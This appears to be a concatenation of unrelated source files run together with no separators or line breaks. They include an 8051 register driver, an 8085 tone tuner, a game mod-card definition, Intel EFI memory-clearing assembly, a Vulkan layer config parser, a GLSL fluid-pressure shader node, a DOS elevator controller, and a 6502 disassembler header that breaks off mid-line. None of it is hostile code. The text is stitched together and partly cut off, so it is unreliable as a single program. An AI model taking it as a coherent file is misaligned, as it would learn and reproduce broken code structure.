;Copyright (c) 2004-2020 Microchip Technology Inc. and its subsidiaries. ;SPDX-License-Identifier: MIT $NOMOD51 $INCLUDE (REG52.INC) $INCLUDE (hwconf.inc) NAME PIDRV $IF (USE_PI = 1) PUBLIC _pi_read, _pi_write PROG SEGMENT CODE RSEG PROG ;* ************************************************************************ */ ;ulong pi_read (void *addr) small; _pi_read: ;* ------------------------------------------------------------------------ -- ;* Purpose : Read specified register. ;* Remarks : r2: block mask plus subblock ;* r1: register address within block ;* Restrictions: Not c-compatible. Must be called via h2io.a51 ;* See also : ;* Example : ;* ************************************************************************ */ ;* ;* Build 17-bit address: ;* A16-A14: block id ;* A13-A10: subblock ;* A9 - A2: register address ;* A1 - A0: zeros ;* Save A16 in carry and A15-A0 in dptr ;* mov a, r1 ; Get reg. addr. rlc a ; Shift one bit left, C gets MSB mov r1, a ; Save 7 bits from reg. addr. temporarily mov a, r2 ; Get block id mask (7:5) and subblock (3:0). anl a, #0FH ; Isolate subblock addc a, r2 ; Add subblock, ie. shift subblock 1 bit left, ; and with C to get MSB of reg. addr. xch a, r1 ; Save temp. and get rem. bits of reg. addr. rlc a ; Shift one bit more to the left, C gets MSB anl a, #0FCH ; Reset A1 and A0 mov dpl, a ; Save A7-A0 in dpl mov a, r1 ; Get A16-A9. rlc a ; Shift one bit left to get A16 in C and ; to get yet another reg. addr. bit. mov dph, a ; Save A15-A8 in dph SELECT_SWITCH ; Select switch and set A16 according to C ; Determine whether it is a fast or slow register by checking block ; id (Carry holds most significant bit of block id, acc holds ; remaining 2 bits in bit 7 and 6. jnc L2_1 ; Blocks 1-3 are all slow anl a, #0C0H ; Isolate bit 7 and 6 jz L2_2 ; Block 4 is fast cjne a, #0C0H, L2_1 ; Block 5 and 6 are slow jmp L2_2 ; Block 7 is fast L2_1: ; Slow register. ; Do a dummy read from right address, then read result from the ; SLOWDATA register movx a, @dptr ; Dummy read SET_SWITCH_ADDR_MSB ; Most significant bit of SLOWDATA register mov dptr, #SLOWDATA_ADDR; Remaining address bits of SLOWDATA register L2_2: ; Fast register movx a, @dptr ; Read 1st byte mov r4, a inc dptr movx a, @dptr ; Read 2nd byte mov r5, a inc dptr movx a, @dptr ; Read 3rd byte mov r6, a inc dptr movx a, @dptr ; Read 4th byte mov r7, a DESELECT_SWITCH ret ;* ************************************************************************ */ ; void pi_write (void *addr, ulong value) small; _pi_write: ;* ------------------------------------------------------------------------ -- ;* Purpose : Write a value to specified register ;* Remarks : r2: block mask plus subblock ;* r1: register address within block ;* r4-7: 32-bit value ;* Restrictions: Not C-compatible. Must be called via h2io.a51 ;* See also : ;* Example : ; * ************************************************************************ */ ;* ;* Build 17-bit address: ;* A16-A14: block id ;* A13-A10; subblock ;* A9 - A2: register address ;* A1 - A0: zeros ;* Save A16 in carry and A15-A0 in dptr ;* mov a, r1 ; Get reg. addr. rlc a ; Shift one bit left, C gets MSB mov r1, a ; Save 7 bits from reg. addr. temporarily mov a, r2 ; Get block id mask (7:5) and subblock (3:0). anl a, #0FH ; Isolate subblock addc a, r2 ; Add subblock, ie. shift subblock 1 bit left, ; and with C to get MSB of reg. addr. xch a, r1 ; Save temp. and get rem. bits of reg. addr. rlc a ; Shift one bit more to the left, C gets MSB anl a, #0FCH ; Reset A1 and A0 mov dpl, a ; Save A7-A0 in dpl mov a, r1 ; Get A16-A9. rlc a ; Shift one bit left to get A16 in C and ; to get yet another reg. addr. bit. mov dph, a ; Save A15-A8 in dph SELECT_SWITCH ; Select switch and set A16 according to C mov a, r4 movx @dptr, a ; Write 1st byte inc dptr mov a, r5 movx @dptr, a ; Write 2nd byte inc dptr mov a, r6 movx @dptr, a ; Write 3rd byte inc dptr mov a, r7 movx @dptr, a ; Write 4th byte DESELECT_SWITCH ret $ENDIF END
; Tuner ; Produces MOS-generated PITCH tones, ; for the purpose of tuning to a musical scale. ; Serial console is used to read keystrokes for ; coarse and fine tuning. ; 14-bit pitch value is displayed on 7-segment LEDs. ORG 0C000h ; Print intro and instructions to Console. MVI C,PSTR LXI D,SPLASH CALL MOS ; Load starting pitch. LXI D,BGTONE ; Play tone. PLAY MVI C,PITCH CALL MOS ; Write current value to 7-segment LEDs. MVI C,LEDHEX CALL MOS ; Loop waiting for console keystrokes, changing ; tone until "5" is pressed to return to MOS. ; Get ASCII character from console keypress. KEYIN MVI C,CONIN CALL MOS MOV A,L ; Comparisons and jumps to handle the possible keys. CPI CRSUPK JZ CRSUPR CPI CRSDNK JZ CRSDNR CPI FINUPK JZ FINUPR CPI FINDNK JZ FINDNR CPI RTMOSK JZ RTMOSR JMP KEYIN FINUPR INX D JMP PLAY FINDNR DCX D JMP PLAY CRSUPR XCHG LXI D,0010h DAD D XCHG JMP PLAY CRSDNR XCHG LXI D,0010h MOV A,D CMA MOV D,A MOV A,E CMA MOV E,A INX D DAD D XCHG JMP PLAY ; Turn off the sound, and return to MOS. RTMOSR LXI D,0h MVI C,PITCH CALL MOS RST 7 ; EMAC MOS Service Calls MOS EQU 01000h PSTR EQU 04h ; In: Register DE; starting addr. of string. ; Out: Register DE; addr. after "$" string terminator. CONIN EQU 01h ; Out: Register L; ASCII char. returned from console keyboard. PITCH EQU 010h ; In: Register DE; 14-bit pitch value. DELAY EQU 014h ; In: Register HL; amount of delay, larger is longer. LEDSTR EQU 01Ah ; In: Register E; number of displays to change (1-6). ; In: Register D; starting display (5-0). ; In: Register HL; starting addr. of bit pattern data. LEDHEX EQU 012h ; In: Register DE; 16-bit number to be displayed in hex. ; Constants. SPLASH DB 045h,04Dh,041h,043h,020h,022h,054h,068h,065h,020h,050h,072h,069h,06Dh,065h DB 072h,022h,020h,050h,069h,074h,063h,068h,020h,054h,075h,06Eh,065h,072h,00Dh DB 00Ah,057h,072h,069h,074h,074h,065h,06Eh,020h,069h,06Eh,020h,038h,030h,038h DB 035h,020h,061h,073h,073h,065h,06Dh,062h,06Ch,079h,020h,06Ch,061h,06Eh,067h DB 075h,061h,067h,065h,020h,062h,079h,020h,043h,068h,072h,069h,073h,074h,06Fh DB 070h,068h,065h,072h,020h,046h,06Fh,078h,02Eh,00Dh,00Ah,041h,070h,072h,069h DB 06Ch,020h,032h,030h,031h,035h,00Dh,00Ah,00Dh,00Ah,04Bh,065h,079h,073h,03Ah DB 00Dh,00Ah,00Dh,00Ah,038h,020h,03Dh,020h,043h,06Fh,061h,072h,073h,065h,020h DB 074h,075h,06Eh,069h,06Eh,067h,020h,075h,070h,02Ch,020h,062h,079h,020h,031h DB 030h,068h,02Eh,00Dh,00Ah,032h,020h,03Dh,020h,043h,06Fh,061h,072h,073h,065h DB 020h,074h,075h,06Eh,069h,06Eh,067h,020h,064h,06Fh,077h,06Eh,02Ch,020h,062h DB 079h,020h,031h,030h,068h,02Eh,00Dh,00Ah,034h,020h,03Dh,020h,046h,069h,06Eh DB 065h,020h,074h,075h,06Eh,069h,06Eh,067h,020h,064h,06Fh,077h,06Eh,02Ch,020h DB 062h,079h,020h,030h,031h,068h,02Eh,00Dh,00Ah,036h,020h,03Dh,020h,046h,069h DB 06Eh,065h,020h,074h,075h,06Eh,069h,06Eh,067h,020h,075h,070h,02Ch,020h,062h DB 079h,020h,030h,031h,068h,02Eh,00Dh,00Ah,00Dh,00Ah,035h,020h,03Dh,020h,052h DB 065h,074h,075h,072h,06Eh,020h,074h,06Fh,020h,04Dh,04Fh,053h,02Eh,00Dh,00Ah DB 024h CRSUPK EQU 038h ; "8" CRSDNK EQU 032h ; "2" FINUPK EQU 036h ; "6" FINDNK EQU 034h ; "4" RTMOSK EQU 035h ; "5" BGTONE EQU 02000h MXTONE EQU 03FFFh END
.include "defaults_mod.asm" table_file_jp equ "exe4-utf8.tbl" table_file_en equ "bn4-utf8.tbl" game_code_len equ 3 game_code equ 0x4234574A // B4WJ game_code_2 equ 0x42345745 // B4WE game_code_3 equ 0x42345750 // B4WP card_type equ 1 card_id equ 20 card_no equ "020" card_sub equ "Mod Card 020" card_sub_x equ 64 card_desc_len equ 2 card_desc_1 equ "Address 0E" card_desc_2 equ "Charge GutsMG" card_desc_3 equ "" card_name_jp_full equ "チャージガッツマシンガン" card_name_jp_game equ "チャージガッツマシンガン" card_name_en_full equ "Charge GutsMG" card_name_en_game equ "Charge GutsMG" card_address equ "0E" card_address_id equ 4 card_bug equ 0 card_wrote_en equ "Charge GutsMG" card_wrote_jp equ "チャージガッツマシンガン"
.data n: 5 l: 2 -1 7 5 3 .text main: load %x0, $n, %x3 subi %x0, 1, %x4 add %x0, %x0, %x5 add %x0, %x0, %x6 loop: beq %x5, %x3, endl load %x5, $l, %x7 bgt %x7, %x4, inter addi %x5, 1, %x5 jmp loop inter: divi %x7, 2, %x20 beq %x31, %x0, countup addi %x5, 1, %5 jmp loop countup: addi %x6, 1, %x6 addi %x5, 1, %x5 jmp loop endl: add %x0, %x6, %x10 end
;/*++ ; ;Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ;This program and the accompanying materials ;are licensed and made available under the terms and conditions of the BSD License ;which accompanies this distribution. The full text of the license may be found at ;http://opensource.org/licenses/bsd-license.php ; ;THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ;WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ;Module Name: ; ; EfiZeroMem.c ; ;Abstract: ; ; This is the code that supports IA32-optimized ZeroMem service ; ;--*/ ;--------------------------------------------------------------------------- .686 .model flat,C .mmx .code ;--------------------------------------------------------------------------- ;VOID ;EfiCommonLibZeroMem ( ; IN VOID *Buffer, ; IN UINTN Count ; ) ;/*++ ; ;Input: VOID *Buffer - Pointer to buffer to clear ; UINTN Count - Number of bytes to clear ; ;Output: None. ; ;Saves: ; ;Modifies: ; ;Description: This function is an optimized zero-memory function. ; ;Notes: This function tries to zero memory 8 bytes at a time. As a result, ; it first picks up any misaligned bytes, then words, before getting ; in the main loop that does the 8-byte clears. ; ;--*/ EfiCommonLibZeroMem PROC ; UINT64 MmxSave; push ebp mov ebp, esp push ecx ; Reserve space for local variable MmxSave push ecx push edi mov ecx, [ebp + 0Ch] ; Count mov edi, [ebp + 8]; Buffer ; Pick up misaligned start bytes (get pointer 4-byte aligned) _StartByteZero: mov eax, edi and al, 3 ; check lower 2 bits of address test al, al je _ZeroBlocks ; already aligned? cmp ecx, 0 je _ZeroMemDone ; Clear the byte memory location mov BYTE PTR [edi], 0 inc edi ; Decrement our count dec ecx jmp _StartByteZero ; back to top of loop _ZeroBlocks: ; Compute how many 64-byte blocks we can clear mov edx, ecx shr ecx, 6 ; convert to 64-byte count shl ecx, 6 ; convert back to bytes sub edx, ecx ; subtract from the original count shr ecx, 6 ; and this is how many 64-byte blocks ; If no 64-byte blocks, then skip cmp ecx, 0 je _ZeroRemaining ; Save mm0 movq [ebp - 8], mm0 ; Save mm0 to MmxSave pxor mm0, mm0 ; Clear mm0 _B: movq QWORD PTR ds:[edi], mm0 movq QWORD PTR ds:[edi+8], mm0 movq QWORD PTR ds:[edi+16], mm0 movq QWORD PTR ds:[edi+24], mm0 movq QWORD PTR ds:[edi+32], mm0 movq QWORD PTR ds:[edi+40], mm0 movq QWORD PTR ds:[edi+48], mm0 movq QWORD PTR ds:[edi+56], mm0 add edi, 64 dec ecx jnz _B ; Restore mm0 movq mm0, [ebp - 8] ; Restore mm0 from MmxSave emms ; Exit MMX Instruction _ZeroRemaining: ; Zero out as many DWORDS as possible mov ecx, edx shr ecx, 2 xor eax, eax rep stosd ; Zero out remaining as bytes mov ecx, edx and ecx, 03 rep stosb _ZeroMemDone: pop edi leave ret EfiCommonLibZeroMem ENDP END
/************************************************************************** * * Copyright 2014 Valve Software * Copyright 2015 Google Inc. * All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * Author: Jon Ashburn <jon@lunarg.com> * Author: Courtney Goeltzenleuchter <courtney@LunarG.com> * Author: Tobin Ehlis <tobin@lunarg.com> * Author: Mark Lobodzinski <mark@lunarg.com> **************************************************************************/ #include "vk_layer_config.h" #include "vulkan/vk_sdk_platform.h" #include <fstream> #include <iostream> #include <map> #include <string.h> #include <string> #include <sys/stat.h> #include <vulkan/vk_layer.h> #define MAX_CHARS_PER_LINE 4096 class ConfigFile { public: ConfigFile(); ~ConfigFile(); const char *getOption(const std::string &_option); void setOption(const std::string &_option, const std::string &_val); private: bool m_fileIsParsed; std::map<std::string, std::string> m_valueMap; void parseFile(const char *filename); }; static ConfigFile g_configFileObj; std::string getEnvironment(const char *variable) { #if !defined(__ANDROID__) && !defined(_WIN32) const char *output = getenv(variable); return output == NULL ? "" : output; #elif defined(_WIN32) int size = GetEnvironmentVariable(variable, NULL, 0); if (size == 0) { return ""; } char *buffer = new char[size]; GetEnvironmentVariable(variable, buffer, size); std::string output = buffer; delete[] buffer; return output; #else return ""; #endif } const char *getLayerOption(const char *_option) { return g_configFileObj.getOption(_option); } // If option is NULL or stdout, return stdout, otherwise try to open option // as a filename. If successful, return file handle, otherwise stdout FILE *getLayerLogOutput(const char *_option, const char *layerName) { FILE *log_output = NULL; if (!_option || !strcmp("stdout", _option)) log_output = stdout; else { log_output = fopen(_option, "w"); if (log_output == NULL) { if (_option) std::cout << std::endl << layerName << " ERROR: Bad output filename specified: " << _option << ". Writing to STDOUT instead" << std::endl << std::endl; log_output = stdout; } } return log_output; } // Map option strings to flag enum values VkFlags GetLayerOptionFlags(std::string _option, std::unordered_map<std::string, VkFlags> const &enum_data, uint32_t option_default) { VkDebugReportFlagsEXT flags = option_default; std::string option_list = g_configFileObj.getOption(_option.c_str()); while (option_list.length() != 0) { // Find length of option string std::size_t option_length = option_list.find(","); if (option_length == option_list.npos) { option_length = option_list.size(); } // Get first option in list const std::string option = option_list.substr(0, option_length); auto enum_value = enum_data.find(option); if (enum_value != enum_data.end()) { flags |= enum_value->second; } // Remove first option from option_list option_list.erase(0, option_length); // Remove possible comma separator std::size_t char_position = option_list.find(","); if (char_position == 0) { option_list.erase(char_position, 1); } // Remove possible space char_position = option_list.find(" "); if (char_position == 0) { option_list.erase(char_position, 1); } } return flags; } void setLayerOption(const char *_option, const char *_val) { g_configFileObj.setOption(_option, _val); } // Constructor for ConfigFile. Initialize layers to log error messages to stdout by default. If a vk_layer_settings file is present, // its settings will override the defaults. ConfigFile::ConfigFile() : m_fileIsParsed(false) { m_valueMap["lunarg_core_validation.report_flags"] = "error"; m_valueMap["lunarg_image.report_flags"] = "error"; m_valueMap["lunarg_object_tracker.report_flags"] = "error"; m_valueMap["lunarg_parameter_validation.report_flags"] = "error"; m_valueMap["lunarg_swapchain.report_flags"] = "error"; m_valueMap["google_threading.report_flags"] = "error"; m_valueMap["google_unique_objects.report_flags"] = "error"; #ifdef WIN32 // For Windows, enable message logging AND OutputDebugString m_valueMap["lunarg_core_validation.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG,VK_DBG_LAYER_ACTION_DEBUG_OUTPUT"; m_valueMap["lunarg_image.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG,VK_DBG_LAYER_ACTION_DEBUG_OUTPUT"; m_valueMap["lunarg_object_tracker.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG,VK_DBG_LAYER_ACTION_DEBUG_OUTPUT"; m_valueMap["lunarg_parameter_validation.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG,VK_DBG_LAYER_ACTION_DEBUG_OUTPUT"; m_valueMap["lunarg_swapchain.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG,VK_DBG_LAYER_ACTION_DEBUG_OUTPUT"; m_valueMap["google_threading.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG,VK_DBG_LAYER_ACTION_DEBUG_OUTPUT"; m_valueMap["google_unique_objects.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG,VK_DBG_LAYER_ACTION_DEBUG_OUTPUT"; #else // WIN32 m_valueMap["lunarg_core_validation.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG"; m_valueMap["lunarg_image.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG"; m_valueMap["lunarg_object_tracker.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG"; m_valueMap["lunarg_parameter_validation.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG"; m_valueMap["lunarg_swapchain.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG"; m_valueMap["google_threading.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG"; m_valueMap["google_unique_objects.debug_action"] = "VK_DBG_LAYER_ACTION_DEFAULT,VK_DBG_LAYER_ACTION_LOG_MSG"; #endif // WIN32 m_valueMap["lunarg_core_validation.log_filename"] = "stdout"; m_valueMap["lunarg_image.log_filename"] = "stdout"; m_valueMap["lunarg_object_tracker.log_filename"] = "stdout"; m_valueMap["lunarg_parameter_validation.log_filename"] = "stdout"; m_valueMap["lunarg_swapchain.log_filename"] = "stdout"; m_valueMap["google_threading.log_filename"] = "stdout"; m_valueMap["google_unique_objects.log_filename"] = "stdout"; } ConfigFile::~ConfigFile() {} const char *ConfigFile::getOption(const std::string &_option) { std::map<std::string, std::string>::const_iterator it; if (!m_fileIsParsed) { std::string envPath = getEnvironment("VK_LAYER_SETTINGS_PATH"); // If the path exists use it, else use vk_layer_settings struct stat info; if (stat(envPath.c_str(), &info) == 0) { // If this is a directory, look for vk_layer_settings within the directory if (info.st_mode & S_IFDIR) { envPath += "/vk_layer_settings.txt"; } parseFile(envPath.c_str()); } else { parseFile("vk_layer_settings.txt"); } } if ((it = m_valueMap.find(_option)) == m_valueMap.end()) return ""; else return it->second.c_str(); } void ConfigFile::setOption(const std::string &_option, const std::string &_val) { if (!m_fileIsParsed) { std::string envPath = getEnvironment("VK_LAYER_SETTINGS_PATH"); // If the path exists use it, else use vk_layer_settings struct stat info; if (stat(envPath.c_str(), &info) == 0) { // If this is a directory, look for vk_layer_settings within the directory if (info.st_mode & S_IFDIR) { envPath += "/vk_layer_settings.txt"; } parseFile(envPath.c_str()); } else { parseFile("vk_layer_settings.txt"); } } m_valueMap[_option] = _val; } void ConfigFile::parseFile(const char *filename) { std::ifstream file; char buf[MAX_CHARS_PER_LINE]; m_fileIsParsed = true; file.open(filename); if (!file.good()) { return; } // read tokens from the file and form option, value pairs file.getline(buf, MAX_CHARS_PER_LINE); while (!file.eof()) { char option[512]; char value[512]; char *pComment; // discard any comments delimited by '#' in the line pComment = strchr(buf, '#'); if (pComment) *pComment = '\0'; if (sscanf(buf, " %511[^\n\t =] = %511[^\n \t]", option, value) == 2) { std::string optStr(option); std::string valStr(value); m_valueMap[optStr] = valStr; } file.getline(buf, MAX_CHARS_PER_LINE); } } void print_msg_flags(VkFlags msgFlags, char *msg_flags) { bool separator = false; msg_flags[0] = 0; if (msgFlags & VK_DEBUG_REPORT_DEBUG_BIT_EXT) { strcat(msg_flags, "DEBUG"); separator = true; } if (msgFlags & VK_DEBUG_REPORT_INFORMATION_BIT_EXT) { if (separator) strcat(msg_flags, ","); strcat(msg_flags, "INFO"); separator = true; } if (msgFlags & VK_DEBUG_REPORT_WARNING_BIT_EXT) { if (separator) strcat(msg_flags, ","); strcat(msg_flags, "WARN"); separator = true; } if (msgFlags & VK_DEBUG_REPORT_PERFORMANCE_WARNING_BIT_EXT) { if (separator) strcat(msg_flags, ","); strcat(msg_flags, "PERF"); separator = true; } if (msgFlags & VK_DEBUG_REPORT_ERROR_BIT_EXT) { if (separator) strcat(msg_flags, ","); strcat(msg_flags, "ERROR"); } }
; A010871: Constant sequence: a(n) = 32. ; 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32 mov $0,32
#include "vfxgraph/node/SolvePressure.h" #include "vfxgraph/NodeHelper.h" #include "vfxgraph/RenderContext.h" #include <unirender/Context.h> #include <unirender/ShaderProgram.h> namespace { const char* cs = R"( #version 430 layout(local_size_x = 32, local_size_y = 32) in; layout(rgba32f) uniform image2D pressure_WRITE; uniform sampler2D pressure_READ; uniform sampler2D divergence; void main() { ivec2 tSize = textureSize(pressure_READ, 0); ivec2 pixelCoords = ivec2(gl_GlobalInvocationID.xy); const ivec2 dx = ivec2(1, 0); const ivec2 dy = ivec2(0, 1); float dC = texelFetch(divergence, pixelCoords, 0).x; float pL = texelFetchOffset(pressure_READ, pixelCoords, 0, - dx).x; float pR = texelFetchOffset(pressure_READ, pixelCoords, 0, dx).x; float pB = texelFetchOffset(pressure_READ, pixelCoords, 0, - dy).x; float pT = texelFetchOffset(pressure_READ, pixelCoords, 0, dy).x; float pC = texelFetch(pressure_READ, pixelCoords, 0).x; if(pixelCoords.x == 0) pL = pC; if(pixelCoords.y == 0) pB = pC; if(pixelCoords.x == tSize.x - 1) pR = pC; if(pixelCoords.y == tSize.y - 1) pT = pC; imageStore(pressure_WRITE, pixelCoords, vec4(0.25f * (pL + pR + pB + pT - dC), 0.0f, 0.0f, 1.0f)); } )"; } namespace vfxgraph { namespace node { void SolvePressure::Execute(const std::shared_ptr<dag::Context>& ctx) { if (!m_shader) { m_shader = NodeHelper::CreateShader(ctx, cs); } auto p_tex = NodeHelper::GetInputTex(*this, I_PRESSURE); auto d_tex = NodeHelper::GetInputTex(*this, I_DIVERGENCE); if (!p_tex || !d_tex) { return; } auto rc = std::static_pointer_cast<RenderContext>(ctx); rc->ur_ctx->SetImage(m_shader->QueryImgSlot("pressure_WRITE"), p_tex, ur::AccessType::WriteOnly); rc->ur_ctx->SetTexture(m_shader->QueryTexSlot("pressure_READ"), p_tex); rc->ur_ctx->SetTexture(m_shader->QueryTexSlot("divergence"), d_tex); rc->ur_ds.program = m_shader; int x, y, z; m_shader->GetComputeWorkGroupSize(x, y, z); for (int i = 0; i < m_jacobi_iterations; ++i) { rc->ur_ctx->Compute(rc->ur_ds, x, y, z); } rc->ur_ctx->MemoryBarrier({ ur::BarrierType::ShaderImageAccess }); } } }
bits 16 mov dx, 03F8h mov si, hello out_loop: mov al, [si] test al, al jz echo_loop out dx, al inc si jmp out_loop echo_loop: in al, dx out dx, al jmp echo_loop hello: db "Hello, world!", 10, 0
%macro drawline 5 ;x1,y1,x2,y2,color mov ax,%1 push ax mov ax,%2 push ax mov ax,%3 push ax mov ax,%4 push ax mov byte[cor],%5 call line %endmacro %macro ponto 2 ; x,y,color add %1, 3 add %2, 100 push %1 push %2 call plot_xy sub %1, 3 sub %2, 100 %endmacro %macro writeword 4 mov byte[cor], %4 mov bx,0 mov dh,%2 ;linha 0-29 mov dl,%3 ;coluna 0-79 %%local: call cursor mov al,[bx+%1] cmp al, '$' je %%exit call caracter inc bx ;proximo caracter inc dl ;avanca a coluna jmp %%local %%exit: %endmacro %macro write318 2 ; motor, led pusha mov al, %1 mov cl, %2 shl al, 6 or al, cl mov dx, 318h out dx, al popa %endmacro %macro write319 1 pusha mov al, 0 or al, %1 mov dx, 319h out dx, al popa %endmacro %macro read319 0 mov al, 80h mov dx, 319h in al, dx mov ah, al and al, 00111111b shr ah, 6 and ah, 1b %endmacro segment code ..start: mov ax, data mov ds, ax mov ax, stack mov ss, ax mov sp, stacktop ; setup 318h to write mov ax, 0 mov dx, 319h out dx, al write318 10b, 00h ; go to last floor mov ax, 2000 ; counter to delay call DELAY ; call delay write318 01b, 00h ; stop and wait for instructions ETERNO: read319 mov bx, state_sensor cmp byte[bx], 0 je SENSOR0 cmp ah, 0 je DEBOUNCE jmp ETERNO SENSOR0: cmp ah, 1 je DEBOUNCE jmp ETERNO DEBOUNCE: mov bh, ah mov ax, 10 call DELAY read319 cmp ah, bh je HANDLE_CHANGE jmp ETERNO HANDLE_CHANGE: mov [state_sensor], ah cmp ah, 0 je HANDLE_FLOOR jmp ETERNO HANDLE_FLOOR: mov al, byte[floor] dec al mov byte[floor], al cmp al, 2 je EXIT jmp ETERNO EXIT: write318 00b, 00h mov ah, 4Ch int 21h DELAY: mov cx, ax DELAY2: push cx mov cx, 0 DELAY1: loop DELAY1 pop cx loop DELAY2 ret ;*************************************************************************** ; função cursor ; dh = linha (0-29) e dl=coluna (0-79) ;*************************************************************************** cursor: pushf push ax push bx push cx push dx push si push di push bp mov ah,2 mov bh,0 int 10h pop bp pop di pop si pop dx pop cx pop bx pop ax popf ret ;_____________________________________________________________________________ ; ; fun��o caracter escrito na posi��o do cursor ; ; al= caracter a ser escrito ; cor definida na variavel cor caracter: pushf push ax push bx push cx push dx push si push di push bp mov ah,9 mov bh,0 mov cx,1 mov bl,[cor] int 10h pop bp pop di pop si pop dx pop cx pop bx pop ax popf ret ;_____________________________________________________________________________ ; ; função plot_xy ; ; push x; push y; call plot_xy; (x<639, y<479) ; cor definida na variavel cor plot_xy: push bp mov bp,sp pushf push ax push bx push cx push dx push si push di mov ah,0ch mov al,[cor] mov bh,0 mov dx,479 sub dx,[bp+4] mov cx,[bp+6] int 10h pop di pop si pop dx pop cx pop bx pop ax popf pop bp ret 4 ;----------------------------------------------------------------------------- ; ; fun��o line ; ; push x1; push y1; push x2; push y2; call line; (x<639, y<479) line: push bp mov bp,sp pushf ;coloca os flags na pilha push ax push bx push cx push dx push si push di mov ax,[bp+10] ; resgata os valores das coordenadas mov bx,[bp+8] ; resgata os valores das coordenadas mov cx,[bp+6] ; resgata os valores das coordenadas mov dx,[bp+4] ; resgata os valores das coordenadas cmp ax,cx je line2 jb line1 xchg ax,cx xchg bx,dx jmp line1 line2: ; deltax=0 cmp bx,dx ;subtrai dx de bx jb line3 xchg bx,dx ;troca os valores de bx e dx entre eles line3: ; dx > bx push ax push bx call plot_xy cmp bx,dx jne line31 jmp fim_line line31: inc bx jmp line3 ;deltax <>0 line1: ; comparar m�dulos de deltax e deltay sabendo que cx>ax ; cx > ax push cx sub cx,ax mov [deltax],cx pop cx push dx sub dx,bx ja line32 neg dx line32: mov [deltay],dx pop dx push ax mov ax,[deltax] cmp ax,[deltay] pop ax jb line5 ; cx > ax e deltax>deltay push cx sub cx,ax mov [deltax],cx pop cx push dx sub dx,bx mov [deltay],dx pop dx mov si,ax line4: push ax push dx push si sub si,ax ;(x-x1) mov ax,[deltay] imul si mov si,[deltax] ;arredondar shr si,1 ; se numerador (DX)>0 soma se <0 subtrai cmp dx,0 jl ar1 add ax,si adc dx,0 jmp arc1 ar1: sub ax,si sbb dx,0 arc1: idiv word [deltax] add ax,bx pop si push si push ax call plot_xy pop dx pop ax cmp si,cx je fim_line inc si jmp line4 line5: cmp bx,dx jb line7 xchg ax,cx xchg bx,dx line7: push cx sub cx,ax mov [deltax],cx pop cx push dx sub dx,bx mov [deltay],dx pop dx mov si,bx line6: push dx push si push ax sub si,bx ;(y-y1) mov ax,[deltax] imul si mov si,[deltay] ;arredondar shr si,1 ; se numerador (DX)>0 soma se <0 subtrai cmp dx,0 jl ar2 add ax,si adc dx,0 jmp arc2 ar2: sub ax, si sbb dx, 0 arc2: idiv word [deltay] mov di, ax pop ax add di, ax pop si push di push si call plot_xy pop dx cmp si, dx je fim_line inc si jmp line6 fim_line: pop di pop si pop dx pop cx pop bx pop ax popf pop bp ret 8 ;******************************************************************* segment data cor db branco_intenso preto equ 0 azul equ 1 verde equ 2 cyan equ 3 vermelho equ 4 magenta equ 5 marrom equ 6 branco equ 7 cinza equ 8 azul_claro equ 9 verde_claro equ 10 cyan_claro equ 11 rosa equ 12 magenta_claro equ 13 amarelo equ 14 branco_intenso equ 15 modo_anterior db 0 linha dw 0 coluna dw 0 deltax dw 0 deltay dw 0 abrir db 'ABRIR$' sair db 'SAIR$' state_led db 0 state_motor db 0 requests db 0 floor db 4 state_sensor db 1 segment stack stack resb 256 stacktop:
; ; 6502/65C02 Disassembler ; ; Copyright (C) 2012 by Jeff Tranter <tranter@pobox.com> ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ; ; Revision History ; Version Date Comments ; 0.0 25-Mar-2012 First version started ; 0.9 28-Mar-2012 First public beta version ; *** ASSEMBLY TIME OPTIONS *** ; Uncomment this if you don't want instructions that operate on the ; accumulator like ASL to be shown as "ASL A" but instead just "ASL". ; NOACCUMULATOR = 1 ; Uncomment this if you want the output to include source code only ; and not the data bytes in memory. This allows the output to be fed ; back to an assembler. ; SOURCEONLY = 1 ; Uncomment next line to link with start address of $A000 for Multi I/0 Board EEPROM. ; .org $A000 ; *** CONSTANTS *** ; Characters .alias CR $0D ; Carriage 